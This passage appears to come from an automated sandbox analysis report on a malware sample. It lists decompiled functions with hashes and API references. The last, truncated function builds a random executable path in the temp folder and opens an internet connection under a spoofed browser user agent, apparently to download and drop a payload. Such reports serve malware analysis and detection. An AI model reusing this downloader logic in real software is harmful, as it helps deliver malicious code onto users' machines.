Instruction Fuzzy Hash: 44124EB1D001099BCF14DF98D985AEFB7B9BB88305F14816DF909B7380D739AA41CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF2D Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EF2D(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x417638;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x417680 = 1;
										__eflags =  *0x417680;
										if( *0x417680 != 0) {
											goto L60;
										}
										_t84 =  *0x417638;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x417680 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x417638 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x417640 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x41763c + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x417640 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x417640 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x417680 = 1;
							__eflags =  *0x417680;
							if( *0x417680 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x417640 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x417640 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x417680 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x417640 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x417638 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x417640 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x417640 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x0040ef37
0x0040ef3a
0x0040ef40
0x0040ef5e
0x00000000
0x0040ef5e
0x0040ef48
0x0040ef51
0x0040ef57
0x0040ef66
0x0040ef69
0x0040ef6c
0x0040ef76
0x0040ef76
0x0040ef78
0x0040ef7b
0x0040ef7d
0x0040ef7d
0x0040ef7f
0x0040ef82
0x00000000
0x00000000
0x0040ef84
0x0040ef86
0x0040efec
0x0040efec
0x0040f14a
0x00000000
0x0040f14a
0x0040ef88
0x0040ef88
0x0040ef8c
0x0040ef8e
0x0040ef8e
0x0040ef8e
0x0040ef8e
0x0040ef91
0x0040ef92
0x0040ef95
0x0040ef95
0x0040ef99
0x0040ef9d
0x0040efab
0x0040efab
0x0040efb3
0x0040efb9
0x0040efbb
0x0040efbd
0x0040efcd
0x0040efda
0x0040efde
0x0040efe3
0x0040efe5
0x0040f063
0x0040f063
0x0040efe7
0x0040efe7
0x0040efe7
0x0040f065
0x0040f067
0x0040f148
0x0040f148
0x00000000
0x0040f06d
0x0040f06d
0x0040f074
0x00000000
0x00000000
0x0040f07a
0x0040f07e
0x0040f0da
0x0040f0dc
0x0040f0e4
0x0040f0e6
0x0040f0e8
0x00000000
0x00000000
0x0040f0ea
0x0040f0f0
0x0040f0f2
0x0040f0f4
0x0040f109
0x0040f109
0x0040f10b
0x0040f13a
0x0040f141
0x00000000
0x0040f141
0x0040f10f
0x0040f110
0x0040f112
0x0040f114
0x0040f114
0x0040f116
0x0040f118
0x0040f11a
0x0040f12e
0x0040f12e
0x0040f131
0x0040f133
0x0040f133
0x0040f134
0x0040f134
0x00000000
0x0040f11c
0x0040f11c
0x0040f11c
0x0040f125
0x0040f126
0x0040f128
0x0040f12a
0x0040f12a
0x00000000
0x0040f11c
0x0040f11a
0x0040f0f6
0x0040f0fd
0x0040f0fd
0x0040f0ff
0x00000000
0x00000000
0x0040f101
0x0040f102
0x0040f105
0x0040f107
0x00000000
0x00000000
0x00000000
0x0040f107
0x00000000
0x0040f0fd
0x0040f080
0x0040f083
0x0040f088
0x00000000
0x00000000
0x0040f091
0x0040f093
0x0040f099
0x00000000
0x00000000
0x0040f09f
0x0040f0a5
0x00000000
0x00000000
0x0040f0ab
0x0040f0ad
0x0040f0b6
0x0040f0ba
0x00000000
0x00000000
0x0040f0c0
0x0040f0c3
0x0040f0c5
0x00000000
0x00000000
0x0040f0cc
0x0040f0ce
0x00000000
0x00000000
0x0040f0d0
0x0040f0d4
0x00000000
0x00000000
0x00000000
0x0040f0d4
0x00000000
0x00000000
0x00000000
0x0040efbf
0x0040efbf
0x0040efbf
0x0040efc6
0x00000000
0x00000000
0x0040efc8
0x0040efc9
0x0040efcb
0x00000000
0x00000000
0x00000000
0x0040efcb
0x0040eff3
0x0040eff5
0x00000000
0x00000000
0x0040f005
0x0040f007
0x0040f009
0x00000000
0x00000000
0x0040f00f
0x0040f016
0x0040f042
0x0040f042
0x0040f044
0x0040f046
0x0040f05a
0x0040f05c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f048
0x0040f048
0x0040f048
0x0040f051
0x0040f052
0x0040f054
0x0040f056
0x0040f056
0x00000000
0x0040f048
0x0040f018
0x0040f01b
0x0040f01d
0x0040f02f
0x0040f02f
0x0040f032
0x0040f034
0x0040f034
0x0040f035
0x0040f035
0x0040f03b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f01f
0x0040f01f
0x0040f01f
0x0040f026
0x00000000
0x00000000
0x0040f028
0x0040f028
0x0040f029
0x00000000
0x00000000
0x00000000
0x0040f029
0x0040f02b
0x0040f02d
0x0040f040
0x00000000
0x00000000
0x00000000
0x0040f040
0x00000000
0x0040f02d
0x0040ef9f
0x0040efa2
0x0040efa5
0x00000000
0x00000000
0x0040efa7
0x0040efa9
0x00000000
0x00000000
0x00000000
0x0040efa9
0x0040ef6e
0x0040ef70
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL ref: 0040EFDE

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: 79f629e4ee2a53f84b10da4d4ab7d35b6a6dd20687e1c4aaa855ce45479e32d4
Instruction ID: 3779d8d5983664079a03e216e70cb0c0b8133630b7093fc66fd107e457eda8e3
Opcode Fuzzy Hash: 79f629e4ee2a53f84b10da4d4ab7d35b6a6dd20687e1c4aaa855ce45479e32d4
Instruction Fuzzy Hash: 5561C431704602DFDB39CE2AC98066A73A5AB85324B24847BD406EB7D2E73DEC46C65C

Uniqueness

Uniqueness Score: -1.00%

Function 00408930 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00408930(intOrPtr _a4) {
				void* _v1028;
				long _v1032;
				char _v1033;
				signed int _v1040;
				void* _t26;

				_v1033 = 0;
				_v1032 = GetProcessHeaps(0xff,  &_v1028);
				if(_v1032 != 0 && _v1032 < 0x100) {
					_v1040 = 0;
					while(_v1040 < _v1032) {
						if( *((intOrPtr*)(_t26 + _v1040 * 4 - 0x400)) != _a4) {
							_v1040 = _v1040 + 1;
							continue;
						} else {
							_v1033 = 1;
						}
						goto L8;
					}
				}
				L8:
				return _v1033;
			}

0x00408939
0x00408952
0x0040895f
0x0040896d
0x00408988
0x004089a6
0x00408982
0x00000000
0x004089a8
0x004089a8
0x004089a8
0x00000000
0x004089a6
0x00408988
0x004089b3
0x004089bc

APIs

GetProcessHeaps.KERNEL32(000000FF,?), ref: 0040894C

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: HeapsProcess
String ID:
API String ID: 1420622215-0
Opcode ID: 398c00615c73b9a85a2b98cb4f2c7559d965eb21afa17a522cad4f920a78b4b0
Instruction ID: 785f260148ae9ae4597d64fcfe5756ded850402a79d19a0c46507e0d49a2d579
Opcode Fuzzy Hash: 398c00615c73b9a85a2b98cb4f2c7559d965eb21afa17a522cad4f920a78b4b0
Instruction Fuzzy Hash: BA01DAF4904118CADB20DB14DB847B9B7B4AB84304F1482EADB8976381C6781EC6DF9E

Uniqueness

Uniqueness Score: -1.00%

Function 00408FA0 Relevance: .4, Instructions: 371
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E00408FA0(signed int __edx, intOrPtr _a4, signed int _a8, signed int* _a12) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _v24;
				signed char* _v28;
				intOrPtr _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _t306;
				signed int _t336;
				void* _t502;

				_v72 = 0;
				_v60 = _a4;
				asm("cdq");
				_v36 = _a8 + (__edx & 0x0000000f) >> 4;
				_v20 = 0;
				_v8 = 0;
				_v48 = 0;
				_v40 = 0;
				_v24 = 0x239b961b;
				_v32 = 0xab0e9789;
				_v16 = 0x38b34ae5;
				_v64 = 0xa1e38b93;
				_v44 = (_v36 << 4) + _v60;
				_v76 =  ~_v36;
				while(_v76 != 0) {
					_v92 = E00408DE0(_v44, _v76 << 2);
					_v88 = E00408DE0(_v44, 1 + _v76 * 4);
					_v84 = E00408DE0(_v44, 2 + _v76 * 4);
					_t336 = E00408DE0(_v44, 3 + _v76 * 4);
					_t502 = _t502 + 0x20;
					_v80 = _t336;
					_v92 = _v92 * 0x239b961b;
					asm("rol ecx, 0xf");
					_v92 = _v92 * 0xab0e9789;
					_v20 = _v20 ^ _v92;
					asm("rol ecx, 0x13");
					_v20 = _v20 + _v8;
					_v20 = 0x561ccd1b + _v20 * 5;
					_v88 = _v88 * 0xab0e9789;
					asm("rol edx, 0x10");
					_v88 = _v88 * 0x38b34ae5;
					_v8 = _v8 ^ _v88;
					asm("rol edx, 0x11");
					_v8 = _v8 + _v48;
					_v8 = 0xbcaa747 + _v8 * 5;
					_v84 = _v84 * 0x38b34ae5;
					asm("rol eax, 0x11");
					_v84 = _v84 * 0xa1e38b93;
					_v48 = _v48 ^ _v84;
					asm("rol eax, 0xf");
					_v48 = _v48 + _v40;
					_v48 = _v48 * 5 - 0x6932e3cb;
					_v80 = _v80 * 0xa1e38b93;
					asm("rol ecx, 0x12");
					_v80 = _v80 * 0x239b961b;
					_v40 = _v40 ^ _v80;
					asm("rol ecx, 0xd");
					_v40 = _v40 + _v20;
					_v40 = 0x32ac3b17 + _v40 * 5;
					_v76 = _v76 + 1;
				}
				_v28 = (_v36 << 4) + _v60;
				_v68 = 0;
				_v56 = 0;
				_v52 = 0;
				_v12 = 0;
				_v96 = _a8 & 0x0000000f;
				_v96 = _v96 - 1;
				if(_v96 <= 0xe) {
					switch( *((intOrPtr*)(_v96 * 4 +  &M00409484))) {
						case 0:
							L20:
							_v68 =  *_v28 & 0x000000ff ^ _v68;
							_v68 = _v68 * 0x239b961b;
							asm("rol eax, 0xf");
							_v68 = _v68 * 0xab0e9789;
							_v20 = _v20 ^ _v68;
							goto L21;
						case 1:
							L19:
							_v68 = (_v28[1] & 0x000000ff) << 0x00000008 ^ _v68;
							goto L20;
						case 2:
							L18:
							_v68 = (_v28[2] & 0x000000ff) << 0x00000010 ^ _v68;
							goto L19;
						case 3:
							L17:
							_v68 = (_v28[3] & 0x000000ff) << 0x00000018 ^ _v68;
							goto L18;
						case 4:
							L16:
							_v56 = _v28[4] & 0x000000ff ^ _v56;
							_v56 = _v56 * 0xab0e9789;
							asm("rol eax, 0x10");
							_v56 = _v56 * 0x38b34ae5;
							_v8 = _v8 ^ _v56;
							goto L17;
						case 5:
							L15:
							_v56 = (_v28[5] & 0x000000ff) << 0x00000008 ^ _v56;
							goto L16;
						case 6:
							L14:
							_v56 = (_v28[6] & 0x000000ff) << 0x00000010 ^ _v56;
							goto L15;
						case 7:
							L13:
							_v56 = (_v28[7] & 0x000000ff) << 0x00000018 ^ _v56;
							goto L14;
						case 8:
							L12:
							_v52 = _v28[8] & 0x000000ff ^ _v52;
							_v52 = _v52 * 0x38b34ae5;
							asm("rol eax, 0x11");
							_v52 = _v52 * 0xa1e38b93;
							_v48 = _v48 ^ _v52;
							goto L13;
						case 9:
							L11:
							_v52 = (_v28[9] & 0x000000ff) << 0x00000008 ^ _v52;
							goto L12;
						case 0xa:
							L10:
							_v52 = (_v28[0xa] & 0x000000ff) << 0x00000010 ^ _v52;
							goto L11;
						case 0xb:
							L9:
							_v52 = (_v28[0xb] & 0x000000ff) << 0x00000018 ^ _v52;
							goto L10;
						case 0xc:
							L8:
							_v12 = _v28[0xc] & 0x000000ff ^ _v12;
							_v12 = _v12 * 0xa1e38b93;
							asm("rol eax, 0x12");
							_v12 = _v12 * 0x239b961b;
							_v40 = _v40 ^ _v12;
							goto L9;
						case 0xd:
							L7:
							_v12 = (_v28[0xd] & 0x000000ff) << 0x00000008 ^ _v12;
							goto L8;
						case 0xe:
							_v12 = (_v28[0xe] & 0x000000ff) << 0x00000010 ^ _v12;
							goto L7;
					}
				}
				L21:
				_v20 = _v20 ^ _a8;
				_v8 = _v8 ^ _a8;
				_v48 = _v48 ^ _a8;
				_v40 = _v40 ^ _a8;
				_v20 = _v20 + _v8;
				_v20 = _v20 + _v48;
				_v20 = _v20 + _v40;
				_v8 = _v8 + _v20;
				_v48 = _v48 + _v20;
				_v40 = _v40 + _v20;
				_v20 = E00408DF0(_v20);
				_v8 = E00408DF0(_v8);
				_v48 = E00408DF0(_v48);
				_v40 = E00408DF0(_v40);
				_v20 = _v20 + _v8;
				_v20 = _v20 + _v48;
				_v20 = _v20 + _v40;
				_v8 = _v8 + _v20;
				_v48 = _v48 + _v20;
				_v40 = _v40 + _v20;
				 *_a12 = _v20;
				_a12[1] = _v8;
				_a12[2] = _v48;
				_t306 = _v40;
				_a12[3] = _t306;
				return _t306;
			}

0x00408fa6
0x00408fb0
0x00408fb6
0x00408fbf
0x00408fc2
0x00408fc9
0x00408fd0
0x00408fd7
0x00408fde
0x00408fe5
0x00408fec
0x00408ff3
0x00409003
0x0040900b
0x00409019
0x00409036
0x00409050
0x0040906a
0x0040907c
0x00409081
0x00409084
0x00409090
0x00409096
0x004090a5
0x004090ae
0x004090b4
0x004090c0
0x004090ce
0x004090da
0x004090e0
0x004090ef
0x004090f8
0x004090fe
0x0040910a
0x00409119
0x00409125
0x0040912b
0x0040913a
0x00409143
0x00409149
0x00409155
0x00409164
0x00409170
0x00409176
0x00409185
0x0040918e
0x00409194
0x004091a0
0x004091ae
0x00409016
0x00409016
0x004091bf
0x004091c2
0x004091c9
0x004091d0
0x004091d7
0x004091e4
0x004091ed
0x004091f4
0x004091fd
0x00000000
0x00409359
0x00409362
0x0040936e
0x00409374
0x00409383
0x0040938c
0x00000000
0x00000000
0x00409349
0x00409356
0x00000000
0x00000000
0x00409339
0x00409346
0x00000000
0x00000000
0x00409329
0x00409336
0x00000000
0x00000000
0x004092f2
0x004092fc
0x00409308
0x0040930e
0x0040931d
0x00409326
0x00000000
0x00000000
0x004092e2
0x004092ef
0x00000000
0x00000000
0x004092d2
0x004092df
0x00000000
0x00000000
0x004092c2
0x004092cf
0x00000000
0x00000000
0x0040928b
0x00409295
0x004092a1
0x004092a7
0x004092b6
0x004092bf
0x00000000
0x00000000
0x0040927b
0x00409288
0x00000000
0x00000000
0x0040926b
0x00409278
0x00000000
0x00000000
0x0040925b
0x00409268
0x00000000
0x00000000
0x00409224
0x0040922e
0x0040923a
0x00409240
0x0040924f
0x00409258
0x00000000
0x00000000
0x00409214
0x00409221
0x00000000
0x00000000
0x00409211
0x00000000
0x00000000
0x004091fd
0x0040938f
0x00409395
0x0040939e
0x004093a7
0x004093b0
0x004093b9
0x004093c2
0x004093cb
0x004093d4
0x004093dd
0x004093e6
0x004093f5
0x00409404
0x00409413
0x00409422
0x0040942b
0x00409434
0x0040943d
0x00409446
0x0040944f
0x00409458
0x00409461
0x00409469
0x00409472
0x00409478
0x0040947b
0x00409481

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e342ec8ece3ea47229aff82648d4b4dd66772e33e038a648633e7687c6d9cbaa
Instruction ID: 5b88eedca40deb017cab5176b4229643bb1f3ebf536d8ecc0de915512f40f503
Opcode Fuzzy Hash: e342ec8ece3ea47229aff82648d4b4dd66772e33e038a648633e7687c6d9cbaa
Instruction Fuzzy Hash: 83127CB4D002199FCB48CF99D991AEEFBB2BF98300F24856AE415BB345D734AA01CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECE8 Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E0040ECE8(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E0040EE73(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E0040EF2D(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E0040EE18(_t55, _t66);
										_t89 = _t66 + 0x10;
										E0040EE73(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E0040EF0F(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x0040ecec
0x0040eced
0x0040ecee
0x0040ecf1
0x0040ecf3
0x0040ecf6
0x0040ecf7
0x0040ecf9
0x0040ecfa
0x0040ecfb
0x0040ecfe
0x0040ed08
0x0040edb9
0x0040edc0
0x0040edc9
0x0040ed0e
0x0040ed0e
0x0040ed14
0x0040ed1a
0x0040ed1d
0x0040ed20
0x0040ed24
0x0040ed29
0x0040ed2e
0x0040edae
0x00000000
0x0040ed30
0x0040ed30
0x0040ed3c
0x0040ed3e
0x0040ed99
0x0040ed99
0x0040ed9f
0x00000000
0x0040ed40
0x0040ed4f
0x0040ed51
0x0040ed52
0x0040ed53
0x0040ed56
0x0040ed56
0x0040ed58
0x00000000
0x0040ed5a
0x0040ed5a
0x0040eda4
0x0040ed5c
0x0040ed5c
0x0040ed60
0x0040ed68
0x0040ed6d
0x0040ed72
0x0040ed7e
0x0040ed86
0x0040ed8d
0x0040ed93
0x0040ed97
0x00000000
0x0040ed97
0x0040ed5a
0x0040ed58
0x00000000
0x0040ed3e
0x0040edb2
0x0040edb2
0x0040edb2
0x0040ed2e
0x0040edce
0x0040edd5

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 403510b0cf44a19509243faff8fda87969da86ef6f1582569b9df3b225e8f989
Instruction ID: 3a2f59321ed5ce9e4411fbddcfe45a6f13acd9b1bb36b3b9b432ddda2576079b
Opcode Fuzzy Hash: 403510b0cf44a19509243faff8fda87969da86ef6f1582569b9df3b225e8f989
Instruction Fuzzy Hash: 4321D872900205ABCB14DF6AC8C09A7BBA5FF44310B05887AE9159B285D734F925C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 0040D4F0 Relevance: 73.7, APIs: 35, Strings: 7, Instructions: 243
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040D4F0(char* _a4, char _a8) {
				short _v524;
				short _v1044;
				signed char _v1045;
				short _v1572;
				void* _v1576;
				void* _v1580;
				short _v2100;
				void _v2364;
				long _v2368;
				long _v2372;
				void* _v2376;
				intOrPtr* _v2380;
				intOrPtr _v2384;
				char _v2385;
				intOrPtr _v2392;
				signed int _t88;
				signed int _t90;
				int _t96;
				signed int _t97;
				signed int _t99;
				signed int _t101;
				signed int _t111;
				signed char _t125;
				signed char _t127;
				void* _t181;
				void* _t182;
				void* _t184;

				srand(GetTickCount());
				_t182 = _t181 + 4;
				_v1045 = 0;
				ExpandEnvironmentStringsW(L"%temp%",  &_v2100, 0x104);
				_v2380 = _a4;
				_v2384 = _v2380 + 1;
				do {
					_v2385 =  *_v2380;
					_v2380 = _v2380 + 1;
				} while (_v2385 != 0);
				_v2392 = _v2380 - _v2384;
				mbstowcs( &_v1044, _a4, _v2392 + 1);
				_t88 = rand();
				asm("cdq");
				_t90 = rand();
				asm("cdq");
				wsprintfW( &_v1572, L"%s\\%d%d.exe",  &_v2100, _t90 % 0x7fff + 0x3e8, _t88 % 0x7fff + 0x3e8);
				_t184 = _t182 + 0x20;
				_v2376 = InternetOpenW(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36", 0, 0, 0, 0);
				if(_v2376 != 0) {
